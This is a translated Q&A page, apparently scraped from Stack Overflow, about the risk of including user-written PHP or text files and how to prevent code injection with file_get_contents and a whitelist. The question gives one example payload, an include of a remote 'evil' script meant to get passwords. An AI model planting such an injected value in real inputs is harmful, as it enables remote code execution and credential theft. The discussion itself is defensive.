[英]Php. User can write data in a file and i include the file
用戶在mysql中編寫類別( name
, url
)。
我計划在每個寫入/更改name
和url
也以服務器上的txt或php文件寫入。 在目標頁面上重新加載而不是連接到mysql,僅包括txt或php文件。
現在我想象一種情況。 例如,作為類別name
的用戶寫了include("http://www.evil/get-passwords.php");
所以在txt或php文件中,我可能有這樣的代碼,當包含在php中時,代碼將執行?
如何預防這種情況? 要僅允許某些字符用作類別名稱?
我完全不建議在這種情況下使用include
。 您可以看看http://php.net/manual/en/function.file-get-contents.php
使用file_get_contents
可以避免腳本注入,因為它以純字符串形式讀取文件。
您是否打算讓用戶寫入.php
文件? 那不是一個好主意。
如果您確實需要這樣做,請讓他們編寫簡單的.txt
文件(並再次檢查apache不會將txt
解析為php
)。
為了進行消毒,通常的做法是編寫一個允許的列表(白名單):
$allowedName = array(
'name1',
'name2',
'name3'
// ...
);
然后,當用戶輸入時,您可以檢查它:
if (!in_array($_POST['userName'], $allowedName))
die('Not Allowed');
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.